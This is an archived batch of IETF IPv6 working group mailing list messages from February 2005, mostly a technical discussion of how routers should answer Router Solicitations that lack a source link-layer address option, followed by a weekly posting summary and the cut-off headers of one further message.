<42176FFA.9060001@tm.uka.de> Date: Sat, 19 Feb 2005 17:57:30 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: greg.daley@eng.monash.edu.au, "Soliman, Hesham" References: <4216A214.4090604@eng.monash.edu.au> In-Reply-To: <4216A214.4090604@eng.monash.edu.au> X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -58.4 (---------------------------------------------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 4b800b1eab964a31702fa68f1ff0e955 Content-Transfer-Encoding: 7bit Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 00e94c813bef7832af255170dca19e36 Content-Transfer-Encoding: 7bit Hi Hesham, Greg. > Soliman, Hesham wrote: >> Christian, Thanks for the detailed description. I think Nick >> brought this up some time ago too. My suggestion is that upon >> reception of an RS with no SLLAO the router checks if an entry >> already exists, if none exists then it creates one and puts it in >> STALE. [...] Greg Daley wrote: > Putting things in STALE doesn't work unless there's a link-layer > address known ( and there's none in the received RS). Greg is correct. When a node has a packet for a neighbor for which the NC entry is STALE, it does send the packet (trial and error), puts the entry into DELAY, and waits a while for upper-layer reachability confirmation. If the node receives reachability confirmation, then the entry goes back to REACHABLE. Otherwise it goes to PROBE, and the active part of NUD begins (i.e., the node starts transmitting NS's for the neighbor). As far as I see it, there is currently no state defined in RFC 2461[bis], except INCOMPLETE, that is appropriate for a NC entry without link-layer address. And INCOMPLETE has the additional semantics that address resolution is in progress. I guess this is why FreeBSD introduces a new state, NOSTATE. It does not do immediate address resolution on an entry in this state. It doesn't need to, because Rtadvd (on FreeBSD) sends multicast RA's in all cases except for ISATAP interfaces. When a packet is eventually to be transmitted for an entry in NOSTATE, that entry just moves to INCOMPLETE and a NS is sent. The question is whether keeping entries in an additional state makes a lot of sense. The approach is more conservate, though, than doing address resolution rightway (which is how things are done in Linux according to Greg). If an RS contains a TSLLAO [1], the router does not have to immediately initiate address resolution (i.e., be conservative), but can still send a unicast RA. > Soliman, Hesham wrote: >> [...] If an entry already exists with a >> LLA then it responds with a (two options): >> >> - unicast RA unless a multicast RA was already scheduled. >> >> - A multicast RA. >> >> I think the second option might be better to allow for ODAD to work. Hesham, why would a multicast RA be required for ODAD? An optimistic node can always send a RS from the unspecified source address to have the router multicast the RA. Unicast RA's could be advantageous on link layers with acknowledgements, like IEEE 802.11, where they are realiably transmitted. - Christian [1] draft-daley-ipv6-tsllao-01.txt -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ "No great genius has ever existed without some touch of madness." (Aristotle) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 19:07:37 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA21878 for ; Sat, 19 Feb 2005 19:07:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2ezN-0006Sw-J9 for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 19:30:22 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2cwa-0006J3-Ud; Sat, 19 Feb 2005 17:19:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2aUT-0007qn-St for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 14:42:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01084 for ; Sat, 19 Feb 2005 14:42:03 -0500 (EST) Received: from smtp805.mail.sc5.yahoo.com ([66.163.168.184]) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D2aqK-0008GP-GZ for ipv6@ietf.org; Sat, 19 Feb 2005 15:04:44 -0500 Received: from unknown (HELO grayling) (osprey67@63.197.18.101 with login) by smtp805.mail.sc5.yahoo.com with SMTP; 19 Feb 2005 19:42:03 -0000 From: "Fred L. Templin" To: Date: Sat, 19 Feb 2005 11:42:05 -0800 Message-ID: <000101c516bb$17aff4b0$6401a8c0@grayling> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Content-Transfer-Encoding: 7bit Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Content-Transfer-Encoding: 7bit I am just re-joining the list after a several-month hiatus due to personal circumstances. Just glancing at the archives over the past few weeks, on the subject of IPv6 addresses with embedded IPv4 addresses, the discussion that has taken place so far is incomplete in that it fails to mention ISATAP addresses. (Same comment also for the subject thread on: " AYIYA link local address".) Fred L. Templin fltemplin@acm.org -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 19:13:47 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22298 for ; Sat, 19 Feb 2005 19:13:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2f5L-0006cP-FI for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 19:36:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2cwe-0006LC-2Q; Sat, 19 Feb 2005 17:19:24 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2aaI-0000Ur-26 for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 14:48:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01439 for ; Sat, 19 Feb 2005 14:48:03 -0500 (EST) Received: from hermes.iu-bremen.de ([212.201.44.23]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2aw7-0008Os-Ox for ipv6@ietf.org; Sat, 19 Feb 2005 15:10:45 -0500 Received: from localhost (demetrius.iu-bremen.de [212.201.44.32]) by hermes.iu-bremen.de (Postfix) with ESMTP id 27A0CE77A; Sat, 19 Feb 2005 20:47:31 +0100 (CET) Received: from hermes.iu-bremen.de ([212.201.44.23]) by localhost (demetrius [212.201.44.32]) (amavisd-new, port 10024) with ESMTP id 14325-01; Sat, 19 Feb 2005 20:47:30 +0100 (CET) Received: from james (I91df.i.pppool.de [85.73.145.223]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by hermes.iu-bremen.de (Postfix) with ESMTP id 08AD5D8CC; Sat, 19 Feb 2005 20:47:30 +0100 (CET) Received: from schoenw by james with local (Exim 4.34) id 1D2aZb-00016U-W1; Sat, 19 Feb 2005 20:47:28 +0100 Date: Sat, 19 Feb 2005 20:47:27 +0100 From: Juergen Schoenwaelder To: "Swaroop George A." Message-ID: <20050219194727.GA4206@james> Mail-Followup-To: "Swaroop George A." , ipv6@ietf.org, subrah@cisco.com References: <4.3.2.7.2.20050218120744.02d6aee0@codc-mira-1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4.3.2.7.2.20050218120744.02d6aee0@codc-mira-1.cisco.com> User-Agent: Mutt/1.5.6+20040907i X-Virus-Scanned: by amavisd-new 20030616p5 at demetrius.iu-bremen.de X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Cc: subrah@cisco.com, ipv6@ietf.org Subject: Re: Q on RFC 2011/2012/2013 updates X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: j.schoenwaelder@iu-bremen.de List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 On Fri, Feb 18, 2005 at 12:15:08PM +0530, Swaroop George A. wrote: > I would like to know whether following updates are stable enough to > implement or is there any possibility of having a newer revision on these > (other than a new RFC) > > draft-ietf-ipv6-rfc2011-update-10.txt > draft-ietf-ipv6-rfc2012-update-06.txt > draft-ietf-ipv6-rfc2013-update-04.txt These documents sit in the RFC editor queue so it should be safe to implement them. /js -- Juergen Schoenwaelder International University Bremen P.O. Box 750 561, 28725 Bremen, Germany -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 19:14:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22339 for ; Sat, 19 Feb 2005 19:14:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2f5o-0006dz-27 for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 19:37:00 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2cyq-0006km-4v; Sat, 19 Feb 2005 17:21:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2al1-0002TL-Mk for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 14:59:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02027 for ; Sat, 19 Feb 2005 14:59:08 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2b6s-00009m-Er for ipv6@ietf.org; Sat, 19 Feb 2005 15:21:50 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 19 Feb 2005 14:58:28 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sat, 19 Feb 2005 14:58:28 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUWpB2sM2hBevLlT2KjhuDrOfOKmAAGBBhQ From: "Soliman, Hesham" To: "Christian Vogt" , X-OriginalArrivalTime: 19 Feb 2005 19:58:28.0136 (UTC) FILETIME=[60F70A80:01C516BD] X-Spam-Score: 0.0 (/) X-Scan-Signature: 2beba50d0fcdeee5f091c59f204d4365 Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7da5a831c477fb6ef97f379a05fb683c Content-Transfer-Encoding: quoted-printable > Greg Daley wrote: > > Putting things in STALE doesn't work unless there's a link-layer=20 > > address known ( and there's none in the received RS). >=20 > Greg is correct. When a node has a packet for a neighbor=20 > for which the > NC entry is STALE, it does send the packet (trial and=20 > error), puts the > entry into DELAY, and waits a while for upper-layer reachability > confirmation. If the node receives reachability=20 > confirmation, then the > entry goes back to REACHABLE. Otherwise it goes to PROBE, and the > active part of NUD begins (i.e., the node starts=20 > transmitting NS's for > the neighbor). >=20 > As far as I see it, there is currently no state defined in RFC > 2461[bis], except INCOMPLETE, that is appropriate for a NC=20 > entry without > link-layer address. And INCOMPLETE has the additional semantics that > address resolution is in progress. =3D> Agreed. >=20 > I guess this is why FreeBSD introduces a new state, NOSTATE. It does > not do immediate address resolution on an entry in this state. It > doesn't need to, because Rtadvd (on FreeBSD) sends multicast=20 > RA's in all > cases except for ISATAP interfaces. =20 =3D> Right, I was trying to accomodate other ways of implementing Rtadvd that would send unicast RAs in response to the RS in question. For example in the case where no LLA exists in the technology used. In this case it would be wasteful to multicast the RA. This is especially true in a mobile system where you might get several RSs due to MNs appearing on the link. When a packet is=20 > eventually to be > transmitted for an entry in NOSTATE, that entry just moves=20 > to INCOMPLETE > and a NS is sent. =3D> So, from the above, I assume you suggest that we always send=20 a multicast RA in response? I don't know if this is a good way to go given the example I mentioned above. What do you think? > If an RS contains a TSLLAO [1], the router does not have to=20 > immediately > initiate address resolution (i.e., be conservative), but can=20 > still send > a unicast RA. =3D> I think the TSLLAO draft is useful in this case, but we obviously still need to address this case for legacy hosts that don't implement TSLLAO. >=20 > > Soliman, Hesham wrote: > >> [...] If an entry already exists with a > >> LLA then it responds with a (two options): > >>=20 > >> - unicast RA unless a multicast RA was already scheduled. > >>=20 > >> - A multicast RA. > >>=20 > >> I think the second option might be better to allow for=20 > ODAD to work. >=20 > Hesham, why would a multicast RA be required for ODAD? An=20 > optimistic=20 > node can always send a RS from the unspecified source=20 > address to have=20 > the router multicast the RA. =3D> That's true, I didn't consider this case. It's been a long time since I last read ODAD and I don't know if it allows=20 the Onode to send RSs with a tentative src address or if it requires the unspecified address. I guess it should just use=20 the unspecified address while the unicast one is tentative. >=20 > Unicast RA's could be advantageous on link layers with=20 > acknowledgements,=20 > like IEEE 802.11, where they are realiably transmitted. =3D> Sure, there are many other examples of WWANs where unicast RAs make more sense when responding to RSs, that's why I'm not sure if it's always good to follow the FreeBSD way you describe above. It'd be good if we can get some agreement on this before the draft deadline. thx, Hesham >=20 > - Christian >=20 > [1] draft-daley-ipv6-tsllao-01.txt >=20 > --=20 > Christian Vogt, Institute of Telematics, University of Karlsruhe > www.tm.uka.de/~chvogt/pubkey/ >=20 > "No great genius has ever existed without some touch of > madness." (Aristotle) >=20 >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sat Feb 19 21:09:31 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA29608 for ; Sat, 19 Feb 2005 21:09:31 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2gtM-00014I-5T for ipv6-web-archive@ietf.org; Sat, 19 Feb 2005 21:32:16 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2fG2-0003rV-LZ; Sat, 19 Feb 2005 19:47:34 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2ds5-0008BO-N9 for ipv6@megatron.ietf.org; Sat, 19 Feb 2005 18:18:45 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA18951 for ; Sat, 19 Feb 2005 18:18:37 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2eDy-0005NU-1Y for ipv6@ietf.org; Sat, 19 Feb 2005 18:41:22 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 19 Feb 2005 18:17:54 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sat, 19 Feb 2005 18:17:54 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUWwNEv+dmTWnfGQtG0inkvfSjqCQAFy+JA From: "Soliman, Hesham" To: "Christian Vogt" , X-OriginalArrivalTime: 19 Feb 2005 23:17:54.0930 (UTC) FILETIME=[3DBAE520:01C516D9] X-Spam-Score: 0.0 (/) X-Scan-Signature: 68ba2b07ef271dba6ee42a93832cfa4c Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f49c97ce49302a02285a2d36a99eef8c Content-Transfer-Encoding: quoted-printable Folks,=20 Just to make sure this issue is addressed, I think we can allow routers to either respond with a unicast or multicast RA in the=20 case where an RS without SLLAO is received. It seems like there=20 are different cases where multicast would make more sense than unicast (or at least implementers chose to do so) and=20 vice versa. So, unless someone sees a need to mandate a certain=20 response, I think we should allow both behaviours. If there are no=20 objections I'll add that to the draft. Obviously in the case of unicast RA, address resolution will take place first, resulting in the creation of an NCE. If multicast RA, then there will be no need for address resolution or creating NCE. Hesham > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org]On=20 > Behalf Of > Christian Vogt > Sent: Saturday, February 19, 2005 11:58 AM > To: greg.daley@eng.monash.edu.au; Soliman, Hesham > Cc: Mark Doll; Roland Bless; ipv6@ietf.org > Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO >=20 >=20 > Hi Hesham, Greg. >=20 > > Soliman, Hesham wrote: > >> Christian, Thanks for the detailed description. I think Nick > >> brought this up some time ago too. My suggestion is that upon > >> reception of an RS with no SLLAO the router checks if an entry > >> already exists, if none exists then it creates one and puts it in > >> STALE. [...] >=20 > Greg Daley wrote: > > Putting things in STALE doesn't work unless there's a link-layer=20 > > address known ( and there's none in the received RS). >=20 > Greg is correct. When a node has a packet for a neighbor=20 > for which the > NC entry is STALE, it does send the packet (trial and=20 > error), puts the > entry into DELAY, and waits a while for upper-layer reachability > confirmation. If the node receives reachability=20 > confirmation, then the > entry goes back to REACHABLE. Otherwise it goes to PROBE, and the > active part of NUD begins (i.e., the node starts=20 > transmitting NS's for > the neighbor). >=20 > As far as I see it, there is currently no state defined in RFC > 2461[bis], except INCOMPLETE, that is appropriate for a NC=20 > entry without > link-layer address. And INCOMPLETE has the additional semantics that > address resolution is in progress. >=20 > I guess this is why FreeBSD introduces a new state, NOSTATE. It does > not do immediate address resolution on an entry in this state. It > doesn't need to, because Rtadvd (on FreeBSD) sends multicast=20 > RA's in all > cases except for ISATAP interfaces. When a packet is=20 > eventually to be > transmitted for an entry in NOSTATE, that entry just moves=20 > to INCOMPLETE > and a NS is sent. >=20 > The question is whether keeping entries in an additional=20 > state makes a > lot of sense. The approach is more conservate, though, than doing > address resolution rightway (which is how things are done in Linux > according to Greg). >=20 > If an RS contains a TSLLAO [1], the router does not have to=20 > immediately > initiate address resolution (i.e., be conservative), but can=20 > still send > a unicast RA. >=20 > > Soliman, Hesham wrote: > >> [...] If an entry already exists with a > >> LLA then it responds with a (two options): > >>=20 > >> - unicast RA unless a multicast RA was already scheduled. > >>=20 > >> - A multicast RA. > >>=20 > >> I think the second option might be better to allow for=20 > ODAD to work. >=20 > Hesham, why would a multicast RA be required for ODAD? An=20 > optimistic=20 > node can always send a RS from the unspecified source=20 > address to have=20 > the router multicast the RA. >=20 > Unicast RA's could be advantageous on link layers with=20 > acknowledgements,=20 > like IEEE 802.11, where they are realiably transmitted. >=20 > - Christian >=20 > [1] draft-daley-ipv6-tsllao-01.txt >=20 > --=20 > Christian Vogt, Institute of Telematics, University of Karlsruhe > www.tm.uka.de/~chvogt/pubkey/ >=20 > "No great genius has ever existed without some touch of > madness." (Aristotle) >=20 >=20 > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 01:23:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA13543 for ; Sun, 20 Feb 2005 01:23:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2kqq-00074d-Mv for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 01:46:01 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2jvo-0006jf-Er; Sun, 20 Feb 2005 00:47:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2jDg-0002Us-1x for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 00:01:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA08836 for ; Sun, 20 Feb 2005 00:01:00 -0500 (EST) Received: from cyteen.hactrn.net ([66.92.66.68]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2jZM-000553-Ew for ipv6@ietf.org; Sun, 20 Feb 2005 00:23:48 -0500 Received: from hactrn.net (localhost [127.0.0.1]) by cyteen.hactrn.net (Postfix) with ESMTP id A69C1603 for ; Sun, 20 Feb 2005 00:00:29 -0500 (EST) To: ipv6@ietf.org From: Rob Austein Date: Sun, 20 Feb 2005 00:00:29 -0500 Message-Id: <20050220050029.A69C1603@cyteen.hactrn.net> X-Spam-Score: 1.1 (+) X-Scan-Signature: 97adf591118a232206bdb5a27b217034 Subject: Weekly posting summary for ipv6@ietf.org X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 7baded97d9887f7a0c7e8a33c2e3ea1b Messages | Bytes | Who --------+------+--------+----------+------------------------ 19.05% | 12 | 18.56% | 69973 | dthaler@windows.microsoft.com 9.52% | 6 | 12.15% | 45796 | h.soliman@flarion.com 12.70% | 8 | 8.69% | 32772 | pekkas@netcore.fi 11.11% | 7 | 8.16% | 30771 | erik.nordmark@sun.com 3.17% | 2 | 10.55% | 39773 | margaret@thingmagic.com 4.76% | 3 | 3.58% | 13515 | greg.daley@eng.monash.edu.au 3.17% | 2 | 5.06% | 19074 | nuno.mgarcia@siemens.com 3.17% | 2 | 3.67% | 13841 | chvogt@tm.uka.de 3.17% | 2 | 3.21% | 12121 | rdroms@cisco.com 3.17% | 2 | 3.10% | 11673 | internet-drafts@ietf.org 3.17% | 2 | 2.05% | 7715 | bob.hinden@nokia.com 3.17% | 2 | 1.87% | 7070 | msa@burp.tkv.asdf.org 1.59% | 1 | 3.11% | 11721 | doc@tavian.com 1.59% | 1 | 2.60% | 9805 | timbeck04@verizon.net 1.59% | 1 | 2.00% | 7539 | sharif@mitre.org 1.59% | 1 | 1.86% | 7023 | rkrishnan.s@samsung.com 1.59% | 1 | 1.58% | 5944 | clee@mitre.org 1.59% | 1 | 1.39% | 5254 | kosuke@bugest.net 1.59% | 1 | 1.09% | 4101 | j.schoenwaelder@iu-bremen.de 1.59% | 1 | 1.05% | 3948 | mohacsi@niif.hu 1.59% | 1 | 0.99% | 3744 | shaffiq.s.rahim@boeing.com 1.59% | 1 | 0.99% | 3731 | sra+ipng@hactrn.net 1.59% | 1 | 0.95% | 3583 | sommerfeld@sun.com 1.59% | 1 | 0.93% | 3489 | swaroop@cisco.com 1.59% | 1 | 0.82% | 3099 | fltemplin@acm.org --------+------+--------+----------+------------------------ 100.00% | 63 |100.00% | 377075 | Total Grunchweather Associates provides this automatic summary on an at-whim basis at the request of the IPv6 WG chairs. Your mileage may vary. We decline responsibilities, all shapes, all sizes, all colors. If this script produces broken output, you get to keep both pieces. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 05:47:12 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA21180 for ; Sun, 20 Feb 2005 05:47:12 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2oyR-0001S2-4A for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 06:10:03 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2nFF-0007pD-6c; Sun, 20 Feb 2005 04:19:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2low-0006hx-Rf for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 02:48:03 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09371 for ; Sun, 20 Feb 2005 02:47:56 -0500 (EST) Received: from 200-101-149-236.toobm201.dial.brasiltelecom.net.br ([200.101.149.236] helo=marfim-pfvqe5p9.org) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D2mAY-0000iV-Sh for ipv6@ietf.org; Sun, 20 Feb 2005 03:10:44 -0500 Date: Sun, 20 Feb 2005 04:47:14 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------evwbyfouhblkhydcgszu" X-Spam-Score: 3.3 (+++) X-Scan-Signature: 